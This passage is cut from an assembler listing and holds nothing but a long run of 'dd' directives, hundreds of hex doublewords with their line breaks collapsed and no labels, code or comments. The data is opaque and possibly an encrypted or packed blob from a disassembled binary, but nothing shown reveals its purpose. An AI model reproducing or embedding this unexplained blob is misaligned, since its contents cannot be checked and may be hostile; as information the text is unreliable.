0AA84C35Eh, 0E9C24BF2h dd 54E5767Dh, 336896B0h, 7544173Ch, 1217F85Eh, 0B843AE9h dd 2D7EC1CBh, 33BBDF5Dh, 2D6D18D9h, 31D2903Eh, 3F1B9F51h dd 3A1C8C2Bh, 0F8E5373Ah, 6BE9DD1Eh, 0B74E1E73h, 5C0C6826h dd 0E82BACB5h, 1CADBC76h, 0A3138D59h, 15BF9B80h, 7AD2727h dd 79270B56h, 40B560BDh, 4B0B4834h, 9078C5E9h, 3D0DD789h dd 0F2BE3D84h, 0DCB4B3DFh, 0ED03C827h, 8BCE13EAh, 5FDCEDE1h dd 3198D2C0h, 0F8616066h, 64FBE56h, 60344D26h, 0B0D15E0Ch dd 32D65FC9h, 0F15D2C3Ch, 72525A66h, 94D620h, 3244B0BAh dd 4A79BB3Dh, 31183416h, 50577514h, 100B2CD3h, 56B624E9h dd 725962BFh, 65EF49F6h, 1ED17443h, 9AE30EE8h, 6F25579Ah dd 0D2CF582Dh, 826228EFh, 9C9F988h, 0DA095BE0h, 5750E19Ch dd 80E74EE9h, 698E687Bh, 2B60169Eh, 9E406305h, 0CB57528Bh dd 0F150EFA7h, 0EC4C780Fh, 1C550DEFh, 6A0C10FCh, 0E9C82202h dd 95BAF0DEh, 2E43C553h, 0B90A1C5Bh, 4B4A8279h, 2D45CE31h dd 0CF73058Fh, 0E92DE062h, 0F4791925h, 0BE4E265Ah, 0B57270Ah dd 27ECC53Ah, 2D00ADE6h, 385F0D1Dh, 0A205C801h, 0DB1C4107h dd 1131167h, 0F1DC0BDFh, 7A5E7841h, 0EFD7AAA3h, 0DCBF4421h dd 2D0CF33Fh, 7F0A0974h, 1A98241Eh, 8591A37Fh, 9D1C94AFh dd 2B3CE0CCh, 82103980h, 65E9FEC4h, 11E2A71Dh, 497C3D18h dd 3912EE44h, 464FB5Dh, 142ECA09h, 0B52CFA5Eh, 5D379664h dd 0D1A72295h, 6723B472h, 0B5DEA738h, 841477E2h, 0B5AE29CDh dd 810A04A1h, 6006EE60h, 451687E2h, 0A70773AFh, 7EC43ED6h dd 11311180h, 0E962121Bh, 0E973C4E3h, 73EDE5A8h, 0B1966816h dd 0D1E37E4Eh, 0B9F65D8Ch, 8C237BEh, 12099326h, 0B020024Eh dd 0DE1FD6Dh, 0C17F03E0h, 0FAAE963h, 3A8B3E01h, 0A0F7059h dd 0E3801F7Fh, 7B402AA8h, 56550CC0h, 24E944A4h, 45C2664Fh dd 4F65E86Eh, 6E6039FBh, 724519D2h, 0BCEB1D66h, 0CC4DDEAAh dd 0EF17FBC8h, 1318C90Fh, 708E6436h, 2EF1BE00h, 810239C6h dd 502BF4E6h, 0E58DC07Eh, 0F0B74C1Dh, 22C03B2Fh, 18B702B9h dd 919C7C3Fh, 5C688E4Bh, 0BD4D3525h, 936B7933h, 5AB007A1h dd 37C22DD8h, 4CC3F977h, 0A624E949h, 0E7427DDBh, 0F3EFE6F7h dd 2F386330h, 0E1C0BF2Fh, 120942A4h, 87DFF737h, 0EB1D22Ah dd 66FE4707h, 1DEF4844h, 52481600h, 7E9691BAh, 0DAB1464Fh dd 0F9E97B60h, 0E14FDE7Ch, 8EE33A1Ch, 53C288C1h, 68D4D050h dd 54013D2Fh, 15016AF4h, 882C0970h, 53260819h, 160B3E24h dd 979687A6h, 9AC2140Bh, 70F1905Ah, 17DE95E8h, 0EA7104EBh dd 820527BBh, 0B05D7F9Ch, 9761C349h, 2B88DADBh, 803C9620h dd 9F1F35CFh, 6E9140Bh, 943BB04Fh, 5F5E0477h, 0A871B168h dd 4664C12Ch, 0F7611D44h, 0BCC09514h, 0F48ED8BDh, 245F54BCh dd 9A34C081h, 5D59E36Ch, 7A2F5F0h, 1529655h, 8332A7B9h dd 0C4E9311Bh, 68B6FE14h, 97D4C62h, 25161278h, 29574471h dd 0E73B0EB2h, 1E913E04h, 30069747h, 0F14E8ABAh, 95C778BFh dd 0C4450EE9h, 0B59902B1h, 0DA1D0B69h, 0E0E91506h, 37C4AF3Bh dd 0DD9DBE26h, 48A00978h, 0F3A07656h, 6880806Bh, 9A6A4FF2h dd 0C65525DFh, 0C154B547h, 5FF34A0Bh, 0B5CA209Bh, 5D39E46Ah dd 529A70C0h, 80ECB601h, 0CEFE3CEEh, 0E9EC6C9h, 46E680E0h dd 35B35366h, 2DE303Bh, 5AF7285Bh, 13ABDF88h, 6BE525F0h dd 407EA1E1h, 0EE88CD2Ah, 284F54E9h, 27E1D889h, 4B306F28h dd 60A9C5BEh, 0C301A716h, 0D88B81BDh, 303AC1F1h, 58C1E5A0h dd 0B639841h, 9DF2E8A3h, 520B61FEh, 0AEA0688Bh, 38602853h dd 62EA0B97h, 1D0E7911h, 8E0FEED6h, 402325A2h, 9C0B9E1Dh dd 7FD70059h, 13295F68h, 43F5E9D0h, 2E2C1D2h, 62134605h dd 0F32119B9h, 0EB0452AEh, 0D8F05091h, 186A77Ah, 5A519FBFh dd 0AEE46864h, 0E9B58A5h, 0A6FC8C29h, 49AE288Bh, 0E90AF76Dh dd 8BFF62FBh, 0BB4C24ECh, 0C028EB7Bh, 0FF1D8034h, 0F78F1D0Ch dd 80317D1h, 0A93A786Fh, 125E19Fh, 6E78C1FAh, 80A4B600h dd 0DAACF639h, 3316D8BCh, 8665BE7Bh, 0F7ACC1ABh, 7B707E8h dd 8A0AD1D7h, 0AC52316h, 2F2052CDh, 0F019536Ch, 0A15D0764h dd 843C696Eh, 8DFBE4E1h, 5579E558h, 320F88B4h, 52F40h dd 2CBC7B03h, 68D8295Bh, 0FBBD8272h, 3FE90481h, 5F4A310h dd 9E45B04h, 0B3CCF2BDh, 65132DE7h, 0C6F8E7BDh, 76328922h dd 0AF0E2BB8h, 5A6660E2h, 0A86B1968h, 61EEE930h, 2E119F97h dd 0F8C28C75h, 40EF3F35h dd 0F6C050D7h, 7A6E2891h, 240198B8h, 106341BDh, 445C270Ch dd 56D70F03h, 1DE5332Fh, 9E6BE8A6h, 8051C718h, 2CB573E4h dd 2F0D01F4h, 518B7FD6h, 42A37C94h, 0ADF246BDh, 145BCAFCh dd 738C44D0h, 29242D4Bh, 0A5085308h, 0B72FAF5Dh, 9940A3E1h dd 3C0B7AC5h, 0D5AE1A1Ch, 9708203Bh, 5A4DABF0h, 0D7E90978h dd 47855E34h, 0C0529E56h, 16F9BB20h, 7730842Eh, 0D75E0B32h dd 0F3891482h, 1C7A0FCh, 69E751CBh, 0E9E22451h, 83425535h dd 0BDEDA3FDh, 0D8FF12C1h, 0B2F2035Bh, 0AFAD2C4Ah, 0F748C907h dd 0C102804Bh, 2774423Ch, 4DE6F021h, 0BD554801h, 4B0733EBh dd 222C893Ch, 0A27F6B27h, 7EE1665h, 6A3614Bh, 0F2D94C01h dd 453CDC41h, 0A704C1D0h, 0BD1C2173h, 3C08410Fh, 0DD08D65Fh dd 285A1486h, 0FD629B41h, 7559C106h, 0F4005051h, 1AD548Dh dd 0B4CBE9DAh, 0C6BA1D69h, 30713D26h, 676A6100h, 41CB8142h dd 6D2E3257h, 2F619A0Ch, 7DF3F056h, 4B5B3F0Ch, 402C4831h dd 0E34A888Bh, 60DC3BB0h, 50BEE029h, 2B014D40h, 0DC7CE81h dd 0D07F5C52h, 0BAEBC601h, 319CFE12h, 1B183E04h, 4E50D611h dd 6800F7F1h, 0F8B11761h, 5340E0ADh, 8D0E82D6h, 46D9039Bh dd 53F298Eh, 58AE37D0h, 33C7D090h, 1D6C25CFh, 0F7013A7Dh dd 0E2594696h, 2D0502F7h, 432FBF6Bh, 16D69Eh, 8006E6C0h dd 576809CEh, 0E92F4DB2h, 58B282B6h, 9E4DC366h, 65FD055Ah dd 8BC0B70Fh, 106049E0h, 0C44CCC78h, 48E32210h, 0B472555h dd 0EA1C57A6h, 53A2681Ch, 4BB2F527h, 25FB6FFDh, 208D165Dh dd 28E9D5ACh, 0ABB2A043h, 62CA7230h, 0E18608D1h, 2D885B41h dd 34F91765h, 690BBF90h, 4D213ED1h, 0D0DAB713h, 0DB5A979Bh dd 0E953C5Ch, 42950B17h, 4A391FE9h, 2C00FFC1h, 71D36727h dd 5F811AB5h, 530298F3h, 0EC256856h, 0DEB9058Fh, 0B47AA245h dd 6813FD74h, 47AE43DBh, 0EF49AEA5h, 45EB9410h, 89D010Ah dd 1F2EA15Eh, 1136E902h, 4348F01h, 62A38BBCh, 7D503507h dd 9809DE4Ch, 1601A549h, 7A10966h, 0E375049Dh, 6E7B98AFh dd 8C33485Ch, 0A2119905h, 7F4AA812h, 32E8EE03h, 0CA319B6Dh dd 307A7F5Eh, 0EF18933h, 29BB84ECh, 0B1D53C5Ah, 924D5818h dd 0E517912Bh, 1EAB04D8h, 1E3C0958h, 5F28A7C7h, 5A38EB0Bh dd 27098254h, 589CC601h, 6C014A5Fh, 0E905EBC1h, 25F738D5h dd 60E2425Eh, 0F64F2E1Bh, 0C57E972Ch, 0A17AE509h, 153014F5h dd 627B1AA7h, 91EA5B12h, 19E28983h, 68CF882Fh, 156B4A31h dd 5003BD82h, 0DB2C77FFh, 13744648h, 0A0BA2A9Bh, 0F4050407h dd 0B816A65Ch, 380741E7h, 0D2EFA5D6h, 96FC1F1Bh, 43D92917h dd 620B7F2Ch, 1BCA4A59h, 3F480809h, 0F641F4E9h, 2126FF00h dd 0FC365FA0h, 0FBDA0468h, 0A0AE1E28h, 2F7DC17Eh, 0E966A009h dd 275CF4DBh, 0ACFB3EFDh, 0D18A80F6h, 4233991Bh, 5905645Bh dd 57FDD109h, 31F51E8Bh, 0D6D6E904h, 0B0D19628h, 58E450AAh dd 0E9E0C0B5h, 45C04F7Bh, 0B2F32415h, 84C85EEh, 292D0BD5h dd 0B420F82Fh, 202EC08h, 0E53A7C2Dh, 1CAF94C0h, 6A28F482h dd 0F33022Ah, 0E4D56307h, 75BC98A9h, 13BBBBC1h, 0A0C6579Fh dd 8D5AD729h, 0F1E93789h, 29F52F25h, 85285FCFh, 0D6AFA270h dd 601276FFh, 0B601B375h, 0E9DE28CEh, 803291F5h, 6F39E405h dd 4E70B26Dh, 0FC47DF6h, 15050146h, 0D1E3797Eh, 1494D012h dd 0A42F8240h, 7AC91EFEh, 0A5495F84h, 0EDC82ED9h, 1153BD21h dd 0CF078927h, 945725E4h, 166813E7h, 0AF73604Ch, 79F7C41h dd 68A5FEA2h, 0AE2BAC0h, 31F50521h, 64C1A2E9h, 1B9340F1h dd 0C001C380h, 9E08E339h, 57B07EBh, 4644E9CFh, 60519DEAh dd 2201C130h, 0E95F6F0Fh, 0B982DA98h, 0B452A9EAh, 46B760D5h dd 7ABD1372h, 0EF16AE5Fh, 47155E01h, 0B12ADEB2h, 40FA049Ah dd 14C981A4h, 1F4C1C42h, 9E31602h, 5809DFA7h, 0C65FE068h dd 0BFC63257h, 0DA7F5C10h, 0B5576A44h, 1CA10BEAh, 54714130h dd 72505E24h, 4515D5E0h, 0D0F70165h, 0CD070A0Dh, 1A886A0Bh dd 4A21EC5Ch, 8433E250h, 4CF361CAh, 2582DF1Ch, 685999B0h dd 3301A331h, 5200B61Dh, 0B32C38B2h, 42251867h, 0D9F95509h dd 5832E962h, 4F5F5C87h, 0A8B6BEF4h, 0F896CD4Dh, 30B640h dd 76543E05h, 2582F181h, 0C3789B28h, 2D30D239h, 308A5E38h dd 5520BF36h, 0D23ED827h, 0A6C70527h, 8278063Ch, 985D7EB6h dd 0B110C197h, 2BB78F41h, 0C825AB45h, 62401398h, 68570356h dd 6F8E59F6h, 3E7DA04h, 2A87857Ch, 0BA1696E4h, 2F90170Fh dd 8058FA8Eh, 0CB1418FBh, 6AF6F66Ah, 43D75B0Eh, 9112386Eh dd 0CEEA58C1h, 0E95505E3h, 0A445D9B4h, 0A26550E2h, 2A1073BCh dd 515C2F2Bh, 0D5196416h, 9090EBD5h, 7D0C1210h, 6E20382Eh dd 2C64BB4Eh, 5CEAC8A4h, 6D86CAAFh, 9C970C99h, 0E616B5F8h dd 0B57C4712h, 6AF6B001h, 806ADD46h, 782DDC41h, 0F9423924h dd 0D3225C02h, 0BFC94034h, 2C862C30h, 3378A55Eh, 0A826C690h dd 5F5279D2h, 9A27314Ch, 0E2355EE1h, 0CCDD5BDFh, 1621FE27h dd 11E0256h, 0FB410CB3h, 0E80B3079h, 89A83EDFh, 830BA794h dd 0ADF465C6h, 207AF75h, 6064F330h, 0BDE6082h, 5AE9F955h dd 0F097C58h, 0FB7DF084h, 0D25999DBh, 4B03288Bh, 0E9E12AADh dd 0EEC3885h, 6799E280h, 95B488EAh, 4BED2E0h, 66B6468Ch dd 3660EA4Eh, 0F82C75F6h, 0FAE91268h, 9139AEE4h, 9D571748h dd 8680F794h, 0F195D75Fh, 919FBC32h, 8C7E5F32h, 0F69BD9F0h dd 0D1C6CCE3h, 0F588511Fh, 0E3E44F92h, 97409E1h, 0DE021BC0h dd 0A8885B2Bh, 23831A80h, 9F12D660h, 555F977Bh, 0F3AF81C4h dd 7159C9B3h, 0C19C4AD0h, 33DD65E9h, 594D7820h, 92A24F7Bh dd 16682FC4h, 0FF424BE5h, 0EBDD481Eh, 1C151233h, 0E5C00454h dd 5D9ECC62h, 14F96818h, 8A551247h, 0A60AA0DFh, 7632566Ch dd 74789783h, 989DA52Fh, 0BC317B36h, 0E8B662BEh, 98FA585h dd 0E2FC5AA1h, 0C6D60A1Dh, 965A7C2h, 2DA5E4D5h, 0C066D2FDh dd 0F968E289h, 2AE66B49h, 0E900CD53h, 6853505Dh, 5F1E3C5Ah dd 0D8DC5B7Ch, 16277EFDh, 2656D985h, 0E9C81725h, 11859DBh dd 6F85107Ch, 0B33E5401h, 5A0C4020h, 5758A19Eh, 27840FBFh dd 0EF837E10h, 2392592Eh, 0E9092FDEh, 55897FB7h, 492EC575h dd 98416F85h, 81414B64h, 72D11550h, 25B898CAh, 27393137h dd 496D4187h, 13BB00FCh, 1ABA2557h, 887189F5h, 2C9784D5h dd 0DE24E90Ah, 16BB5494h, 57DC5DDAh, 5B9CF8D0h, 1003303Ch dd 15262865h, 0F0031656h, 0B2EAD79Bh, 0EB62405Eh, 646F1290h dd 0EF180019h, 68480A17h, 7125CF2Fh, 2ADA849Ah, 834181B2h dd 773669EEh, 0D3DD266Ah, 46A00D13h, 4D4007B9h, 0B24132EEh dd 0FA69AB1Ch, 0FAE2DFD5h, 6A491649h, 0F65E4F16h, 0A6AC591Eh dd 0B5A980Ch, 0F16E4073h, 983CF23Fh, 2D26C821h, 1ADA6403h dd 8904FBC3h, 1042334h, 6281F6FEh, 7EF40B2h, 4889634Fh dd 0AF560B87h, 9DF41458h, 0F889D6C7h, 0DBBC7711h, 681635AEh dd 4363384Bh, 1806A03Bh, 8EE5CC1h, 4A25C602h, 0E05F122Bh dd 94DFC93Bh, 11FF4BE5h, 0F33E4B09h, 0B55E288Fh, 575DB960h dd 74C1BF66h, 0EEBA1E12h, 427E2525h, 0E897E941h, 8B8DF82Fh dd 811DAD3h, 28D76E08h, 8D0BB101h, 366B4201h, 0DE030CB7h dd 292FF3CAh, 0E9810CD0h, 5F20D1C3h, 0FE0846B8h, 3E4A6A75h dd 4C64C586h, 0E7740C3Fh dd 2808E22Dh, 0C3408F3h, 0C15F1407h, 31E053DFh, 0E0453839h dd 7692212Fh, 47845261h, 0EA4D94EBh, 0D3ECD1A5h, 4014B21h dd 0F0269D8h, 0FD738980h, 0C3CB7907h, 0B873767h, 0BA02A14h dd 0F896354Dh, 4FF9988h, 0EBD8685Ah, 9A81BC34h, 372E7BF1h dd 99769279h, 58925953h, 754D0071h, 1048E62Bh, 0A740D8C8h dd 5E919F05h, 0D65C2CC1h, 1771EA91h, 0A2F5E0A7h, 0CC469Ah dd 237605BEh, 89F86B5Bh, 960D4995h, 0A818BA18h, 98AF80Eh dd 0E9130F78h, 4728ADF2h, 5AD70028h, 68CBEF80h, 3EE13994h dd 0EBF230B8h, 0A2DC73D7h, 0E0B00097h, 3407E8C0h, 0C74B30CAh dd 62A5F999h, 0B026B5D8h, 4816622Dh, 684F70ABh, 1D2822A3h dd 4656B437h, 7E0A4D56h, 0DAE0CB2Ah, 25B7995h, 95B0AAB3h dd 3E1EF460h, 0E91F9A0Eh, 0F62ABAFCh, 23790878h, 0F6BF62Fh dd 0BD46E0D1h, 73A44D1Ch, 25BF6B5Dh, 7832DE5Bh, 0CB4B7EE9h dd 97F871EBh, 62346B7Bh, 5F47F016h, 0C326D831h, 58029E08h dd 5881CA4Ch, 0B3B127Fh, 0BD48BD57h, 353F7E51h, 0ECF73445h dd 348B0804h, 0E9C246F2h, 4D75F60Fh, 5B092F1Dh, 7D289A5Dh dd 112C4564h, 805284CBh, 0B618E1F7h, 2ECF8044h, 710D4A13h dd 0CD135E0h, 0AF3E9EFh, 0F0955F2Eh, 4E0FB0C3h, 0A0B93150h dd 72FCD238h, 580059BFh, 974E172Eh, 5089F922h, 0C37E9FA4h dd 0C3F019E4h, 895B9F29h, 0A6E2933Eh, 4CCE8C90h, 0E00A4FC6h dd 725229Ch, 407142AAh, 2460147Fh, 36C2086h, 4822459Dh dd 94B50C58h, 787B0E72h, 0A801CBD4h, 0E90908A6h, 26177432h dd 0B4EA5322h, 0DDFCF5A9h, 60070632h, 727E67F5h, 0FCEEC22h dd 3BFD1E1Bh, 4362F687h, 0C071772h, 21A72BDAh, 0EEE9F213h dd 9160E1E4h, 74032268h, 4820A998h, 0F4801478h, 822B1D2h dd 1227D37Fh, 51115EDDh, 126D22D6h, 32EEDD5Dh, 0BF70C24Bh dd 159FBF09h, 748E8271h, 0B7130B3Ch, 6AD503C8h, 828C017Dh dd 7335400Ch, 47943D48h, 1783A12Ah, 0FA57D830h, 41170A20h dd 0BE4D0B28h, 558B8D71h, 0B1A981E3h, 0BB708079h, 40564BDDh dd 2B460B2Dh, 0E07E3C77h, 5B7D0720h, 914FA606h, 20AC486Ah dd 84C0D019h, 1D12080Bh, 378B02B8h, 0C82995C3h, 3A58C141h dd 0B6544538h, 0B8574566h, 6849047Bh, 0D5FD4DAFh, 0AB440785h dd 8EA4C301h, 0B03AF50Bh, 0FA4077A7h, 9E66E888h, 0E30247FAh dd 79273DBEh, 812C72C5h, 2D03A8E0h, 0BC605D8h, 82131EEAh dd 13BE1B19h, 0A54FEF32h, 3E2BB835h, 0A8AC280Eh, 54C77DA8h dd 2758E392h, 1EDEDAF7h, 9566D740h, 0C0638077h, 0E88B8024h dd 0AA4EE810h, 0C9EB1334h, 0B92E3002h, 0DF61909Eh, 94F05957h dd 90279233h, 2804ECAAh, 9E76D51h, 35EC2938h, 5190DEF0h dd 2A4FD902h, 40FA898Eh, 9D7212D5h, 70CA58E8h, 22535118h dd 333194A6h, 4AB67740h, 8F8A1205h, 17E19A93h, 56FC3C3Eh dd 7F9CBE1Fh, 0F02903C5h, 9027A61Dh, 0F849CD29h, 68898B4h dd 7A1701E5h, 347D0C72h, 455F7E12h, 0B711CAAh, 285E5038h dd 8404E741h, 1EF8170h, 2CA77C1Dh, 643B96E9h, 2B4ECAE7h dd 0E4E660CCh, 0DBC597F1h, 0FEC826BFh, 19E55549h, 4238029Ch dd 0D130DB64h, 24D77321h, 0EB73CBEEh, 848B2E4h, 0EE0E7993h dd 7A12C8Ch, 664204F0h, 5B2555Ah, 873DAD69h, 0D0F6B206h dd 402843A2h, 5AA0E92Ah, 0CB2DECEBh, 803CFC5Ch, 17DA564Ah dd 0EFBAEEE9h, 237C2D00h, 0E8C13D07h, 8F050706h, 0D0160440h dd 0FBC262CDh, 5774E29Fh, 9DE99902h, 679F81F8h, 30BDA652h dd 42ED8081h, 0A26DE097h, 0C8F78249h, 80C7D4C6h, 37264BBDh dd 7025F45Dh, 39DC9F0Dh, 0C0262E58h, 611FCD6Bh, 8CC83A62h dd 5D6612BEh, 81BF0768h, 69908947h, 6EFF5DB1h, 542F265Fh dd 7B0B20ECh, 0E9060B5Ch, 75514DF9h, 0C275FEC9h, 101ADEEh dd 34645BD9h, 272B2F68h, 5DB61266h, 449F3804h, 25B9B7AAh dd 0F3B17755h, 650B7BFFh, 9A890543h, 0AB21E6A1h, 0B2D485F8h dd 50E724EEh, 1BAE10B6h, 0D157C588h, 447B2B84h, 1E73EB24h dd 38B123D5h, 31CB245Ah, 0F5040712h, 1ABC2991h, 0BFC28984h dd 4074C8F0h, 873168CDh, 0A2F9477Bh, 1359974h, 12D067EEh dd 7163E82Dh, 0BB02406Eh, 30040329h, 0CA1FE953h, 44906800h dd 81B55B7Ch, 0C327A36Bh, 4C7BE60h, 0EC409CD1h, 0FB65BA89h dd 3E90D817h, 31E9DD01h, 0BE90F3B5h, 759FF05Dh, 3108B907h dd 0F13406A5h, 174CEBEh, 27CF05F9h, 7AEFC1h, 610BFC70h dd 0E307815Dh, 34AD4A24h, 3FA1CB67h, 0E4CB55C1h, 568E0382h dd 0D7E19D54h, 82C0C4DDh, 845DA3D0h, 2DFC5D27h, 926E510h dd 0F87B685Ch, 0DA7BB518h, 95479CADh, 0B2F22B76h, 217560ABh dd 8492F106h, 56D94C02h, 15E35A82h, 0C62B4E21h, 1B0320A7h dd 457DEDAAh, 0B2C1A3AAh, 0B06C432h, 2584D0BDh, 6FBA6B43h dd 4F433E76h, 0D6E9EFC8h, 0D35F5205h, 0B0C41D0Eh, 92054048h dd 26E77A17h, 0D00F7A8h, 6A714308h, 0EB05042Dh, 75E9FFF7h dd 0F0494AABh, 2A4902D0h, 1D56990h, 6B0E683Fh, 9245307Eh dd 12017F74h, 52D5F75Dh, 1EECB850h, 603548B2h, 167EE90Bh dd 64803AF6h, 29D0721Bh, 0FAD5A2EBh, 0A007BD8Fh, 0E3A8A2C1h dd 8DC826CAh, 39960244h, 7DCA696Eh, 3E95FB94h, 38DEB562h dd 57C30B6Eh, 0C0F0B816h, 5305E100h, 0E380F0B3h, 2B01953Fh dd 0BFEEFCE9h, 3ACE8A2Ch, 8E0EC356h, 0CDEA1650h, 1B60E613h dd 0B2952715h, 0BAF604E8h, 2D5A10D0h, 867D16FAh, 4042A843h dd 3D4FE907h, 8459C583h, 0FD81FC81h, 92661810h, 417C737Dh dd 98390F25h, 0B469CD34h, 4C755270h, 1C0C40C7h, 27E93340h dd 7793ACD0h, 92C4D8C1h, 0E7E45C6Ch, 7B744106h, 0DD588CC2h dd 0FF8C2CD9h, 2ED75BBh, 0C751A389h, 0E740EA21h, 187D84F2h dd 0E8E9300Bh, 0C43A20D3h, 95E1889Bh, 0AD2EB1F8h, 0CCB84EC6h dd 0E4B35AEh, 0A84A61A6h, 494A04E1h, 0F7FE64D5h, 0E6C05F8Ah dd 1720BA52h, 0C0218443h, 3BCAC31Eh, 8ED52928h, 0A05A7340h dd 82A47BC3h, 0F69381DDh, 167E1DADh, 310BE856h, 15B542CAh dd 95EC16A2h, 1E58977Eh, 0ADC082D8h, 750B5A60h, 0D4C2832Ch dd 74A80244h, 82DDBDA0h, 20CC55Eh, 0F262C180h, 0B22202FDh dd 0A7945561h, 0C603FD27h, 607B27BBh, 9CEF93A2h, 0F0E40505h dd 0FCE04AD1h, 576C0402h, 1156DB97h, 0B05BF5CCh, 0B10B2DD4h dd 0B3A9C62h, 20E3072Fh, 8140EB5Eh, 9D9E6F11h, 0E8F05696h dd 0D080B2A2h, 0EE534F00h, 0EA4C762Ah, 0EA930192h, 3C66E254h dd 0CB082C7Fh, 0F15FAD3Bh, 41D78800h, 4803E420h, 29221A43h dd 0FC304C54h, 516CE9B0h, 0D15FB3B5h, 0D10772ECh, 0E5C066B1h dd 3EBCF05h, 59E0F0CCh, 0C1F18018h, 0A30A206h, 0C0D1E9CBh dd 7BB083A8h, 42D11DF3h, 0BE1481C5h, 40E62B6Dh, 0B50E21E8h dd 1B783664h, 1036BF3Eh, 0FC548273h, 488B5A5Eh, 5CA44A3Dh dd 0FBA25A3Fh, 6841C7C8h, 556C638Fh, 752B30C1h, 0CB2B7019h dd 6246B6BFh, 7DE9925Ch, 4AA23CC3h, 56091C70h, 0D70C5368h dd 7AAAF031h, 66650AD0h, 816414DCh, 890906F5h, 70605DE8h dd 7E55D968h, 5EBFE062h, 987CC0A8h, 340B0DA4h, 83776443h dd 12F7A073h, 3101EBE1h, 0CDA32912h, 0F5D075D6h, 93AB23CFh dd 5AF7696Ch, 0BA5235E9h, 135BBACAh, 57CFEF09h, 72BCF660h dd 454838AAh, 73270136h, 0EAC11287h, 9FC9A331h, 0BDBE3BFh dd 720766C3h, 0DF774D5Bh dd 3E465C82h, 7517B9F8h, 0A586570Eh, 0FBF1B085h, 0CB120179h dd 0D383E256h, 0CB96ACB2h, 0CD43107Bh, 4200AD4Ch, 68465505h dd 0C69D5EC3h, 30FFA0CDh, 315F1AC0h, 0F0C4525Ch, 1BC10C82h dd 0C9912A03h, 0B734A37Eh, 246C1229h, 53CC9706h, 5DE37BD2h dd 45775EF2h, 4D4CBFC2h, 881F7E85h, 2B1D0301h, 0CD817A1Ah dd 7B16459Dh, 0EACC03CFh, 4D44AC02h, 0F2A3280Eh, 79BCF603h dd 335EE5Ah, 96F7F7AAh, 1620EA05h, 77E97D42h, 0BE63C6F5h dd 0C0758BDEh, 0C16A6E30h, 1E12B880h, 96537C0Fh, 0A09CABEAh dd 804A0EB7h, 0FA0910C7h, 894EB4D1h, 0B9B2043Eh, 0E189490Bh dd 8ED55E2Bh, 0C3802335h, 0C4CF87CFh, 0E5D98249h, 0B910E246h dd 0DBE95037h, 5BC7F159h, 0DA1231ADh, 0A124BE95h, 3D41E6AAh dd 0EC730E9h, 0C2F6C680h, 49B45090h, 0ECDABCC1h, 5105F2ECh dd 98E97AB5h, 0ECB9F4A0h, 7C1C4C69h, 28C2F017h, 0CB2B681Ch dd 0C008B809h, 7FB70B18h, 0CA198C85h, 5256123Ch, 773F02AAh dd 852059C0h, 9F48D74Ah, 57203A78h, 95059030h, 32DA6B40h dd 2D5D193Fh, 5518420Dh, 9A3EAB5Bh, 61639A4Bh, 852C8E9Fh dd 0F119B95Eh, 61481C57h, 60F9605Ah, 3FEDB95Eh, 82224B30h dd 3BA30872h, 0AF510142h, 4E2F3DD0h, 2C40F04Ah, 4ECA613Ch dd 0B90049F2h, 29A2F81Bh, 6527E9F9h, 9E4B79E0h, 607CD668h dd 0C3C9E902h, 2CBE7AD8h, 1EA1C66Fh, 0A2FE17Fh, 0A774F34Ah dd 0F366478Bh, 0A522BFB2h, 4BC704AFh, 0C4065412h, 0FCCF563Ch dd 661A0299h, 0D55D34A8h, 0FADC0168h, 3167E597h, 7BA6490h dd 707F2D60h, 0B8384A0Ch, 0C550103Ah, 0E588510Eh, 1F30EF4Ch dd 58CCE661h, 10E0EE89h, 0B52F9A11h, 0CA21EE5Ah, 0B01C17D6h dd 58161FA5h, 85D25150h, 0B90707Eh, 83B021B3h, 0AAF15B85h dd 1C334A73h, 2F5FEFF5h, 0DE7270F4h, 21FE006Fh, 0EFC159F5h dd 0AFAC88A0h, 0CB0910A4h, 591F4613h, 9E684153h, 50CD3339h dd 0EAAA7145h, 7AFE9260h, 804A0F25h, 25FABA74h, 0EF1E5A38h dd 0F0C55100h, 16A7DC1Fh, 0BBEB18E9h, 8987EF39h, 0BCE4CE9h dd 0F86D80D9h, 4FE4CB7Bh, 1F16B3FDh, 0ED952956h, 84A457E6h dd 0FA6680F9h, 5D4E88B9h, 528159ECh, 85E7AEE9h, 34A26898h dd 0E92870FEh, 219AE188h, 6EE6F238h, 7CC5C4DAh, 300BC7FEh dd 3F345BD8h, 0B10177B0h, 28C904F7h, 0E9D02CC8h, 31694E72h dd 246DC60Fh, 4048FE72h, 0E955C13Ch, 0D02A0ACAh, 0EC6803F4h dd 58F51541h, 0B13E4525h, 0DF8F78B5h, 51F1B893h, 4AB18F2Ah dd 0D5FD31FAh, 3AD43523h, 93B68267h, 1D02B563h, 66DC5867h dd 0C068DDE9h, 5181BE4Ch, 0A0012170h, 0DCC5CB23h, 5BF90118h dd 4310B252h, 45F1469Dh, 4D273B5Ah, 0D9A17684h, 0D2C8FD6Ah dd 8A773DEAh, 9C8212Bh, 649EF6AFh, 68CB9123h, 7BCC2A28h dd 86D367B2h, 0BFE23390h, 306FEAB0h, 3749D45Fh, 68A6E066h dd 8F4B49A7h, 91171980h, 7C4A290Bh, 5E44BACh, 0AC9AE946h dd 7E65A5Ah, 0F5A1207Ch, 5309BFh, 0AC100AA4h, 43D8BF5Ch dd 72496827h, 0F0665AF3h, 283BC5EDh, 565BACFCh, 0E4C7A61Ch dd 0FE37D06Ch, 1312148Ch, 0D0A514E9h, 655FCABEh, 0F181370Fh dd 94C0AC9Ch, 0AB04F16Fh, 0D84BC5A6h, 0F46285F5h, 7FBD5F0Bh dd 4970E79h, 0E2BCF3A8h, 12D8375Bh, 19C43E2Bh, 0E707AD94h dd 2232D358h, 0C658FC6Bh, 59EA284Bh, 3E5C7D22h, 1F30F629h dd 0A666499Eh, 0F7C4AF96h, 92D3A3ABh, 40429198h, 0DA0FB88Dh dd 44073841h, 5B056A8Ah, 7617C181h, 0DA0A60E5h, 3BAEA40h dd 0C74929CEh, 13E1D731h, 0A4902EDBh, 0B0087D2Dh, 6B3700E4h dd 51521E65h, 565C9A68h, 0F1B24088h, 0EF69C328h, 8F0C4190h dd 182FD33Ah, 9B4716DFh, 0FFC0FB6Fh, 0F0645B1Ah, 0DE0330E9h dd 741FEFBFh, 6C521B2Fh, 38EB3C5h, 63D6E957h, 7BF23314h dd 1A209A2h, 354010D7h, 0AD96B503h, 5309C895h, 7CD20BBBh dd 0EC7D2364h, 5EE91818h, 2FF75FEEh, 65660913h, 2E99C302h dd 0FAC7C13Eh, 804AD61h, 0B5454984h, 0F8978968h, 3B53DA3h dd 0C5BC747h, 0E8D92773h, 68302A8Ah, 5AE45A4Ah, 53EA8C4Fh dd 71266800h, 